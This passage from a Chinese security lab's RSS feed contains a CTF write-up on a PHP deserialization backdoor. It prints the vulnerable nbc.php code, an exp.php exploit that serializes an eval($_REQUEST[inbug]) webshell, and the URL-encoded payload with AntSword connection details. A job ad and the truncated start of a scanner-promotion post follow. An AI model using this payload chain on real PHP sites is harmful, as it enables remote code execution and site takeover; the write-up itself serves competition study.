class="code-snippet__attr">loop</span>  <span class="code-snippet__string">(Local Loopback)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">RX</span> <span class="code-snippet__string">packets 0  bytes 0 (0.0 B)</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">RX</span> <span class="code-snippet__string">errors 0  dropped 0  overruns 0  frame 0</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__attr">TX</span> <span class="code-snippet__string">packets 0  bytes 0 (0.0 B)</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">Hello,I&#39;m</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">ok</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">.</span></span></code></pre></section><section style="text-indent: 0em;">                                                                                                    </section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;"><span style="color:#595959;"><strong>实例</strong></span></p></section></section></section><p><br style="white-space: normal;"/></p><section style="text-indent: 2em;"><span style="box-sizing: border-box;padding-right: 0.1px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 14px;">该题为2020年云南省网络安全大赛中一个web环境，里面存在多个漏洞。该反序列化后门仅为其中之一。本文仅对该后门进行分析。</span></section><section style="text-indent: 2em;"><span style="box-sizing: border-box;padding-right: 0.1px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);font-size: 14px;">后门地址:/content/backup/nbc.php</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">error_reporting(0);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class Demo1{</span></code><code><span class="code-snippet_outer">  private $a;</span></code><code><span class="code-snippet_outer">  function test(){</span></code><code><span class="code-snippet_outer">    echo $this-&gt;a;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class Demo2{</span></code><code><span class="code-snippet_outer">  private $cmd;</span></code><code><span class="code-snippet_outer">  function a(){</span></code><code><span class="code-snippet_outer">    eval($this-&gt;cmd);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  function __toString(){</span></code><code><span class="code-snippet_outer">    $this-&gt;a();</span></code><code><span class="code-snippet_outer">    return &#39;ok&#39;;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$d = unserialize($_GET[&#39;s&#39;]);</span></code><code><span class="code-snippet_outer">$d-&gt;test();</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">分析</span></p></li></ul><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="box-sizing: border-box;font-size: 14px;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$d-&gt;test()</code></span><span style="font-size: 14px;box-sizing: border-box;">说明$d可能是Demo1的实例，执行Demo1中的test()时echo自己的$a的值，若$a不为字符串，将触发调用<code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$a-&gt;__toString()</code>，若<code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$a</code>为Demo2的实例，<code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">$a-&gt;__toString()</code>调用$a-&gt;a()，执行<code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">eval($a-&gt;cmd);</code>。   </span></section><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="font-size: 14px;box-sizing: border-box;">构造对象使得$s为Demo1的实例，$s的a属性为Demo2的实例 $t，并使$t的属性cmd为自定义的php代码，如一句话木马<code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">eval($_REQUEST[inbug]);</code>。 </span></section><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="box-sizing: border-box;font-size: 14px;">由于Demo1的a属性和Demo2的cmd属性均为私有（private）属性，生成payload时添加函数来给私有属性赋值。此处添加构造函数（__construct），也可定义其他函数或者在class中赋值。</span></section><section style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.5rem;margin-bottom: 0.5rem;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);text-indent: 2em;"><span style="font-size: 10px;">注<span style="box-sizing: border-box;">：私有属性序列化后会产生空字节(%00)，所以根据需要选择不同编码方式，不编码会导致空字节丢失，进制利用失败。</span></span></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);box-sizing: border-box;font-size: 14px;">编写利用代码 exp.php</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer">&lt;?php</span></code><code><span class="code-snippet_outer">class Demo1{</span></code><code><span class="code-snippet_outer">  private $a;</span></code><code><span class="code-snippet_outer">  function __construct($arg){</span></code><code><span class="code-snippet_outer">    $this-&gt;a=$arg;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  function test(){</span></code><code><span class="code-snippet_outer">    echo $this-&gt;a;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">class Demo2{</span></code><code><span class="code-snippet_outer">  private $cmd;</span></code><code><span class="code-snippet_outer">  function __construct($arg){</span></code><code><span class="code-snippet_outer">    $this-&gt;cmd=$arg;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  function a(){</span></code><code><span class="code-snippet_outer">    eval($this-&gt;cmd);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  function __toString(){</span></code><code><span class="code-snippet_outer">    $this-&gt;a();</span></code><code><span class="code-snippet_outer">    return &#39;ok&#39;;</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">$t=new Demo2(&#39;eval($_REQUEST[inbug]);&#39;);</span></code><code><span class="code-snippet_outer">$s=new Demo1($t);</span></code><code><span class="code-snippet_outer">$d = serialize($s);</span></code><code><span class="code-snippet_outer">echo(urlencode($d));</span></code></pre></section><p><br/></p><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">执行结果</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">root@kali# php exp.php</span></code><code><span class="code-snippet_outer">O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D</span></code></pre></section><ul class="list-paddingleft-2" style="list-style-type: square;"><li style="font-size: 14px;"><p><span style="font-size: 14px;">蚁剑连接</span></p></li></ul><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">链接：/content/backup/nbc.php?s=O%3A5%3A%22Demo1%22%3A1%3A%7Bs%3A8%3A%22%00Demo1%00a%22%3BO%3A5%3A%22Demo2%22%3A1%3A%7Bs%3A10%3A%22%00Demo2%00cmd%22%3Bs%3A23%3A%22eval%28%24_REQUEST%5Binbug%5D%29%3B%22%3B%7D%7D</span></code><code><span class="code-snippet_outer">连接密码：inbug</span></code></pre></section><section style="text-indent: 0em;white-space: normal;">                                                                                                    </section><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="white-space: normal;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;visibility: visible;font-size: 18px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="color:#595959;"><strong>总结</strong></span></p></section></section></section><p style="white-space: normal;"><br/></p><section style="text-indent: 2em;"><span style="font-size: 14px;">PHP反序列化利用需要两个条件，一是用于反序列化的字符串用户可控，二是服务端环境中有可利用的class和魔术函数。</span></section><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cHibYMGgsCATs68fsqzZNMtia0fjXEtEXd7gfw5xmAcQdEmAoOOFcS4Ce6vQyyh0DJtq8po5bQicfRrKA/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section><section style="text-indent: 2em;"><span style="font-size: 14px;"></span><br/></section>



<p><a href="2247483958">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=95bb06ae&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483958%26idx%3D1%26sn%3D80351dad7888c08ae96ad593c8f4c1e8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 06 Aug 2021 18:35:00 +0800</pubDate>
    </item>
    <item>
      <title>【招聘】Go安全开发工程师</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483958&amp;idx=2&amp;sn=5c0923ceffc228c8c1b3f272cf40deae</link>
      <description>实验室安全开发岗位等你来战！</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2021-08-06 18:35</span> <span style="display: inline-block;"></span>
</p>

<p>实验室安全开发岗位等你来战！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1c1ba1a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibcgKkWSibHtOZAubuOX0wm3TvjUKM0sBXGmgHIT2MAVZGCzRK9e7yJ3YdJ7u8sMcxs9kSQYSrJr2g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><p>                                                                     <br/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 18px;"><span style="color:#595959;"><strong>岗位要求</strong></span></p></section></section></section><p><br/></p><p>1、2年以上go开发工作经验，基础扎实，有完整的项目经验；</p><p>2、熟练掌握go协程，channel和锁，对高并发有正确的理解；</p><p>3、有平台开发经验，对restful概念有清晰的理解，至少掌握gin/beego中一种web框架；</p><p>4、熟悉xml/json/protobuf等网络通信技术和数据交换格式；</p><p>5、良好的编码习惯和清晰的编程思路；</p><p>6、熟悉tcp/ip、http等协议，熟练掌握socket网络编程，有rpc微服务开发相关经验；</p><p>7、熟悉sql语言，熟练掌握mysql，sqlite，redis等数据库及相关工具；</p><p>8、具备安全开发经验优先</p><p><br/></p><p>base：昆明</p><p>邮箱：<span style="color: rgb(33, 37, 41);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);">admin@inbug.org</span></p><p style="text-align: start;"><span style="color:#212529;font-family:system-ui, -apple-system, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, Liberation Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji;"><span style="font-size: 16px;">微信：whoami_in</span></span><span style="color:#212529;font-family:system-ui, -apple-system, Segoe UI, Roboto, Helvetica Neue, Arial, Noto Sans, Liberation Sans, sans-serif, Apple Color Emoji, Segoe UI Emoji, Segoe UI Symbol, Noto Color Emoji;"><span style="font-size: 16px;"><br/></span></span><span style="color: rgb(33, 37, 41);font-family: system-ui, -apple-system, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"></span><br/></p>



<p><a href="2247483958">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9ab05245&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247483958%26idx%3D2%26sn%3D5c0923ceffc228c8c1b3f272cf40deae%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 06 Aug 2021 18:35:00 +0800</pubDate>
    </item>
    <item>
      <title>InCloud GitHub云上扫描器</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247483942&amp;idx=1&amp;sn=acc87d9ff5fd30be567f302eae5b1656</link>
      <description>使用GitHub云扫描，实现ip隐藏、防溯源、云上自动化信息收集。</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-07-19 19:18</span> <span style="display: inline-block;"></span>
</p>

<p>使用GitHub云扫描，实现ip隐藏、防溯源、云上自动化信息收集。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=5f55d170&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibVicof1FC64sKWdia1IXJxmiasUoQWibic2icBEWUwz8MVMgfibhJViaicb40exU2iaPwQphChfvZhl56hVTRQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h3 style="box-sizing: border-box;margin-bottom: 16px;margin-top: 24px;font-size: 1.25em;font-weight: 600;line-height: 1.25;color: rgb(36, 41, 46);font-family: -apple-system, system-ui, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;text-align: start;white-space: normal;background-color: rgb(255, 255, 255);"><span style="font-size: 14px;visibility: visible;">                       
                
             </span><br style="visibility: visible;"/></h3><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="visibility: visible;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="visibility: visible;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="visibility: visible;"><section data-tools="135编辑器" data-id="88109" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)"><section style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)"><section style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251261241097="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251261241097="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16266886853901="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266886853901="#fff|rgb(255, 255, 255)"><p style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" 